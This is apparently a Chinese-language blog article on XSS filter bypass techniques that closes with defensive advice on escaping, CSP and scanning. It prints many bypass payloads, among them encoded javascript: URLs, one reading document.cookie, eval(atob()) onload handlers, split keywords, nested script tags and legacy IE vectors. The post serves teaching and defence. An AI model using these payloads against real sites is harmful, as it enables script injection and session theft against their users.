XSS过滤器绕过技术深度解析

本文深入探讨攻击者如何通过编码技巧、标签操纵和浏览器特性绕过XSS过滤器的各种技术,分析单纯依赖过滤的局限性,并提供全面的XSS防护最佳实践方案。

XSS过滤器绕过:攻击者如何绕过XSS过滤器及为何单纯过滤不足

概述

XSS过滤器绕过技术允许攻击者绕过旨在阻止恶意脚本的跨站脚本(XSS)保护机制。本文探讨了一些最常见的过滤器绕过策略,解释了为何仅依赖过滤是无效的,并概述了预防XSS攻击的最佳实践。

攻击者已经开发了数百种方法来规避XSS过滤器,这清楚地表明仅靠过滤并不是万无一失的防御措施。要使XSS攻击成功,必须满足两个条件:

  • 应用程序必须存在XSS漏洞,允许用户控制的输入被注入到网页中
  • 攻击者必须找到在受害者浏览器中执行恶意JavaScript的方法

为什么XSS过滤具有挑战性且往往无效

XSS过滤是一种安全机制,通过检查用户输入中的潜在有害脚本来检测和阻止跨站脚本(XSS)尝试。过滤可以在不同级别实施:

  • 客户端过滤:在数据处理前在浏览器中进行
  • 服务器端过滤:在Web服务器上的请求处理过程中进行
  • Web应用程序防火墙(WAF):在请求到达应用程序前分析和阻止可疑请求

XSS过滤的局限性

没有任何单一的过滤方法能够全面预防XSS攻击,因为恶意脚本可以通过多种方式注入和执行:

  • 基于浏览器的过滤:仅对反射型XSS漏洞有效
  • 服务器端和WAF过滤:可以帮助缓解反射型和存储型XSS,但无法阻止基于DOM的XSS
  • 应用程序级过滤:高度复杂,需要持续更新以跟上新的攻击技术

攻击者如何绕过XSS过滤器

常见绕过技术

攻击者利用浏览器解释Web代码的不一致性。常见的规避技术包括:

  • 使用HTML事件处理程序:使用onerror、onclick或onfocus等属性执行JavaScript
  • 编码技术:使用不同的编码方法混淆有效载荷
  • JavaScript特性和语法变体:利用浏览器特定的解析规则
  • 滥用格式错误的HTML:将脚本注入到浏览器自动"修复"的元素中

字符编码技巧

攻击者经常使用字符编码技术来绕过依赖检测特定关键字或模式的XSS过滤器:

十六进制编码示例:

1
<a href="&#x6A;avascript:alert(document.cookie)">Click this link!</a>

Base64编码示例:

1
<body onload="eval(atob('YWxlcnQoJ1N1Y2Nlc3NmdWwgWFNTJyk='))">

零填充实体变体:

1
<a href="&#x6A;avascript&#0000058&#0000097lert('Successful XSS')">Click this link!</a>

使用空白字符绕过过滤器

浏览器对HTML和JavaScript中的空白字符变化高度容忍:

使用制表符拆分关键字:

1
<img src="java&#x09;script:al&#x09;ert('Successful XSS')">

使用换行符和回车符:

1
<a href="jav&#x0A;ascript:&#x0A;ale&#x0D;rt('Successful XSS')">Visit google.com</a>

操纵标签以绕过过滤器

攻击者可以利用浏览器处理和修复格式错误的HTML的方式:

嵌套标签:

1
<scr<script>ipt>document.write("Successful XSS")</scr<script>ipt>

省略空白并使用斜杠作为分隔符:

1
<img/src="funny.jpg"onload=javascript:eval(alert('Successful&#32XSS'))>

使用SVG标签:

1
<svg/onload=alert('XSS')>

历史漏洞与特定浏览器利用

Internet Explorer特有的XSS漏洞

VBScript执行:

1
<a href='vbscript:MsgBox("Successful XSS")'>Click here</a>

CSS动态属性:

1
body { color: expression(alert('Successful XSS')); }

dynsrc属性滥用:

1
<img dynsrc="javascript:alert('Successful XSS')">

传统XSS利用

UTF-7编码攻击:

1
2
<head><meta http-equiv="content-type" content="text/html; charset=utf-7"></head>
+adw-script+ad4-alert('xss');+adw-/script+ad4-

如何保护应用程序免受XSS攻击

构建安全应用程序

最有效的XSS防护方法是编写安全、结构良好的代码,从源头上预防漏洞:

  • 默认将所有用户输入视为不可信任,确保严格的验证和清理
  • 应用上下文感知的转义和编码,确保用户控制的数据不能被解释为可执行代码
  • 在HTTP级别实施安全,通过实施内容安全策略(CSP)头和其他必要的HTTP安全头来限制脚本执行

持续测试

即使采用了安全的编码实践,也必须定期测试应用程序,以确保新功能、更新或配置更改不会引入XSS漏洞。应将强大的Web漏洞扫描流程集成到开发工作流中,以实现持续的安全监控和自动检测错误配置与漏洞。

通过优先考虑安全开发实践、适当的安全头和持续的漏洞评估,开发人员可以有效地缓解XSS威胁,而不仅仅依赖过滤。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计